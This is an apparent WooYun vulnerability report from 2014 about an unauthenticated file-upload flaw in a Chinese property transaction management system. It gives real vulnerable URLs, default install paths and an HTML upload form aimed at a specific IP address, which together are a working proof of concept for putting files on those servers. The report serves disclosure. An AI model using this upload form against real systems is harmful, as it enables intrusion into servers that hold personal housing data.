漏洞详情

披露状态:

2014-01-01: 细节已通知厂商并且等待厂商处理中
2014-01-06: 厂商已经确认,细节仅向厂商公开
2014-01-09: 细节向第三方安全合作伙伴开放
2014-01-16: 细节向核心白帽子及相关领域专家公开
2014-01-26: 细节向普通白帽子公开
2014-02-15: 细节向实习白帽子公开
2014-04-01: 细节向公众公开

简要描述:

某交易权属管理系统漏洞导致全国各地房产信息数据泄露

详细说明:

未经认证直接上传文件

http://www.lzfg.com.cn/tt/page/attachfile_upload.asp?savepath=E:\bit-service\tt\

默认的系统安装路径E:\bit-service\tt\ 或者C:\bit-service\tt\ 或者D:\bit-service\tt\



<form id="frmUpload" enctype="multipart/form-data"

action="http://110.167.173.115/TT/Page/attachfile_upload.asp?savepath=D:\bit-service\tt\" method="post">Upload a new file:<br>

<input type="file" name="NewFile" size="50"><br>

<input id="btnUpload" type="submit" value="Upload">

</form>





漏洞证明:

QQ图片20140101105238.jpg



QQ图片20140101105123.jpg





修复方案:

版权声明:转载请注明来源 Herolon@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-01-06 08:49

厂商回复:

最新状态:

暂无


漏洞评价: